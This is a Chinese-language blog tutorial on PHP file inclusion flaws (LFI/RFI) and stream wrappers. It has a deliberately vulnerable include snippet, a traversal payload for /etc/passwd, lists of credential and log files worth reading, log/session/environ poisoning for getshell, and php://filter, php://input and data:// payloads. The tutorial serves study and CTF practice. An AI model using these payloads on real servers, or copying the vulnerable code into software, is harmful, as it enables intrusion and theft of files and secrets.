文件包含漏洞与php伪协议

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

文件包含分为本地文件包含(LFI)和远程文件包含(RFI)

文件包含的函数和语言结构

1
2
3
4
require         找不到被包含的文件时会产生致命错误,并停止脚本运行。
include 找不到被包含的文件时只会产生警告,脚本将继续运行。
include_onceinclude类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require_oncerequire类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含

被包含的文件中含有效的php代码(php标签),则引入当前文件执行,若不含有效php代码,则直接输出文件内容

它们都是特殊的语言结构,不是函数,其参数不需要括号,不能动态调用,在比较返回值时需要注意。

1
2
3
4
5
6
7
8
9
10
错误操作:
- var_dump(include("test.php") == true);
- var_dump(include "test.php" == true);
- var_dump(include ("test.php" == true));
以上三条语句等价

正确操作:
- var_dump((include "test.php") == true);
- var_dump((include("test.php")) == true);
以上两条语句等价

file_get_contents() 将整个文件读入一个字符串
file() 把整个文件读入一个数组中
readfile() 输出文件

allow_url_fopen和allow_url_include

这两个都是php.ini的配置项

allow_url_fopen On 默认开启
该选项为on便是激活了URL形式的fopen封装协议使得可以访问URL对象文件
注意: 此选项只能在 php.ini 中设置

allow_url_include off 默认关闭
该选项为on便是允许包含URL对象文件
注意: 此设置需要启用allow_url_fopen

本地文件包含(LFI)

文件包含的典型漏洞代码:

1
2
3
<?php
include $_GET['file'];
?>

其中,file是我们可控的,此时,我们包含web服务器上的任意文件。
如果包含的文件没有php代码,则会直接显示出来,这就造成了任意文件读取漏洞。

获取敏感信息

目录遍历:

读取账户信息

1
?file=../../../../../../../../etc/passwd

常见敏感信息

Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/etc/passwd              // 账户信息
/etc/shadow // 账户密码文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

/var/log/apache2/error_log //apache访问日志
/var/log/apache2/access_log //apache错误日志
/etc/apache2/apache2.conf //apache配置文件(ubuntu)
/etc/httpd/conf/httpd.conf //apache配置文件(centos)

/etc/my.cnf //mysql配置文件
/etc/mysql/my.cnf //mysql配置文件

包含apache访问日志和错误日志

利用条件:

  • 需要知道服务器日志的存储路径
  • 日志文件可读。

在用户发起请求时,apache会将请求写入access.log,当发生错误时会将错误写入error.log

因此,我们可以在访问时刻意加上精心构造的语句,让其写入到日志文件中去,再利用目录穿越去包含它,就能够达到getshell的效果。

为了避免url编码,我们在burpsuite中发包

虽然返回400,但是已经写入了访问日志

接下来包含这个文件
20200405153620

包含session文件

利用条件:

  • 需要知道服务器session存储路径
  • session文件可读
  • 可以控制session内容

session文件的存储路径可以在phpinfo的session.save_path中找到

20200405154259

常见的php session文件目录还有/tmp/sessions

session文件的命名规则为sess_PHPSESSID
如果有如下php文件:

1
2
3
4
5
6
7
<?php
session_start();
$name = $_GET['name'];
$_SESSION['name'] = $name;

include($_GET['file']);
?>

则同样可以构造:
20200405155340

当我们的构造的语句写入session文件后,包含即可。
20200405155315

结合文件上传

由上面两个例子,我们已经知道了只要我们包含的文件含有php代码,即可将其执行。

当一个网站拥有文件上传功能但是只能上传指定后缀的文件时,我们可以试着寻找是否有文件包含的点。

当然,想要包含上传的文件,必须要知道其路径。

其他

包含environ
利用条件:

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。

姿势:
/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含fd

类似environ,不同的是需要包含fd文件,而php代码插入的地方是referer头

同样需要可读权限

包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

远程文件包含(RFI)

远程文件包含条件较为苛刻,要求 allow_url_fopen和allow_url_include都为On状态才可以。

但远程文件包含更为致命,因为一旦可以控制远程文件包含的文件,则意味着可以包含任意我们想要的代码。

比如,我们的服务器存在shell.txt。
20200405163349

此时我们直接远程包含此文件即可
20200405163515

远程文件除了http协议可以用,还可以使用https和ftp协议来实现远程文件包含。

php伪协议和文件包含的完美结合

php中支持的伪协议

file:// 访问本地文件系统
http:// 访问HTTP(s)网址
ftp:// 访问FTP(s) URLs
php:// 访问各个输入/输出流
zlib:// 压缩流
data:// 数据
glob:// 查找匹配的文件路径模式
phar:// PHP归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流

file://协议

file://协议在双off的情况下也可以正常使用;

1
2
allow_url_fopen: Off/On
allow_url_include: Off/On

file://协议用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的限制。

使用:file://[文件的绝对路径和文件名]

需要注意的是,php中涉及到文件以及协议的地方,默认都是使用的file协议。也就是说,如果你没有显式的写出协议名或者协议不存在,都会被当成file协议来解析。

php://协议

php://filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

参数:

php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。

1
2
3
resource=<要过滤的数据流> 必须。 它指定了要筛选过滤的数据流
read=<读链的筛选列表> 可选。可以设定一个或多个过滤器名称,以"/"分隔
write=<写链的筛选列表> 可选。可以设定一个或多个过滤器名称,以"/"分隔

例如:

1
2
php://filter/read=convert.base64-encode/resource=index.php 将数据过滤为base64编码形式读取
php://filter/write=convert.base64-decode/resource=index.php 将数据以base64解码形式写入文件

过滤器

多个过滤器可同时使用,用|连接起来

字符串过滤器

1
2
3
4
string.rot13   使用此过滤器等同于str_rot13()函数处理所有的流数据(rot13编码)
string.tupper 使用此过滤器等同于用strtupper()函数处理所有数据流 (大写)
string.tolower 使用此过滤器等同于用strtolower()函数处理所有数据流(小写)
string.strip_tags 使用此过滤器等同于用 strip_tags()函数处理所有的流数据(去除空字符、HTML 和 PHP 标记后的结果)

转换过滤器

1
2
3
4
5
convert.base64-decode 使用这个过滤器等同于使用base64_decode()函数处理所有的流数据
convert.base64-encode 使用这个过滤器等同于使用base64_encode()函数处理所有的流数据
convert.quoted-printable-encode quoted-printable编码(也是另一种将二进制进行编码的方案)
convert.quoted-printable-decode quoted-printable解码
convert.iconv 实现任意两种编码之间的转换

convert.iconv举例:

1
2
3
4
5
6
7
8
php://filter/convert.iconv.UTF-8.UTF-7/resource=index.php 

utf-8 ==> utf-7

还有一种写法
php://filter/convert.iconv.UTF-8%2fUTF-7/resource=index.php

注意:这里必须是convert.iconv.UTF-8%2fUTF-7,不能写成convert.iconv.UTF-8/UTF-7

压缩过滤器

1
2
3
4
zlib.deflate    压缩过滤器
zlib.inflate 解压过滤器
bzip2.compress 压缩过滤器
bzip2.decompress 解压过滤器

加密过滤器

1
2
mcrypt.*    加密过滤器
mdecrypt.* 解密过滤器

php://input

php://input是个可以访问请求的元数据的只读流,可以读取到POST没有解析的原始数据。
注:entype="multipart/form-data"的时候php://input是无效的。

使用条件:

1
2
allow_url_fopen: Off/On
allow_url_include: Off/On

需要特别注意的是,当allow_url_includeOn的时候,会将POST请求中的数据作为PHP代码执行。
例如:

1
2
3
<?php
include($_GET[1]);
?>

php://output

是一个只写的数据流,允许以print和echo一样的方式写入到输出缓冲区。

data://

数据流封装器。
使用格式:data:[<mime type>][;charset=<charset>][;base64],<encoded data>

  • 第一部分是data:协议头,它标识这个内容为一个data URI资源。
  • 第二部分是MIME类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。
  • 第三部分是编码设置,默认编码是charset=US-ASCII,即数据部分的每个字符都会自动编码为%xx
  • 第四部分是base64编码设定,这是一个可选项,base64编码中仅包含0-9,a-z,A-Z,+,/,=,其中=是用来编码补白的。
  • 最后一部分为这个Data URI承载的内容,它可以是纯文本编写的内容,也可以是经过base64编码 的内容。

使用条件:

  • data://协议必须allow_url_fopen为on才能使用
    1
    2
    allow_url_fopen: on
    allow_url_include: on/off
  • php版本≥php5.2

需要注意的是,当allow_url_includeon时,任意文件包含就会成为任意命令执行

1
2
3
?file=data://text/plain,<?php phpinfo()?>
or
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

zip://,bzip2://,zlib://协议

使用条件:

1
2
3
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

3个封装协议,都是直接打开压缩文件。

1
2
3
compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包
zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

zip://协议

使用条件:php版本≥php5.3.0
使用方法:zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
例如:zip://archive.zip#dir/file.txt

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/02/03/php/文件包含漏洞与php伪协议/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog